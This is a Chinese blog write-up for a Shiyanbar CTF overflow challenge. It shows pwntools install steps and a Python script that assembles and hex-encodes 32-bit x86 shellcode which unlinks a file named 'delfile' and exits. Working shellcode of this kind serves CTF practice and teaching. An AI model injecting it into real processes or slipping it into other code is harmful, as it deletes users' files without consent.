实验吧CTF溢出系列---加减乘除WP

题目连接:http://www.shiyanbar.com/ctf/17
大多数人都是用linux写C,再gcc再objdump
这样太麻烦了,这里推荐一个工具–pwntools(https://github.com/Gallopsled/pwntools#readme
最好在ubuntu环境下安装,命令如下
apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install –upgrade pip
pip install –upgrade pwntools

如何检验是否成功安装呢?
在python交互模式下
import pwn

pwn.asm(“xor eax,eax”)
‘1\xc0’
即可

然后写个根据题目要求的py
代码如下:

from pwn import *

code = """.global _start
_start:
        jmp     test1
test2:
        pop     ebx
        mov     al, 0xa
        int     0x80
        mov     al, 0x1
        xor     ebx, ebx
        int     0x80
test1:
        call    test2
        .string "delfile" """

context(arch='x86', os='linux', endian='little', word_size=32)
shellcode = asm(code).encode('hex')
re = ''
while len(shellcode):
    re += r'\x'+shellcode[:2]
    shellcode = shellcode[2:]
print re

运行就得到结果
这里写图片描述
提交答案时注意去掉最后的/00

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值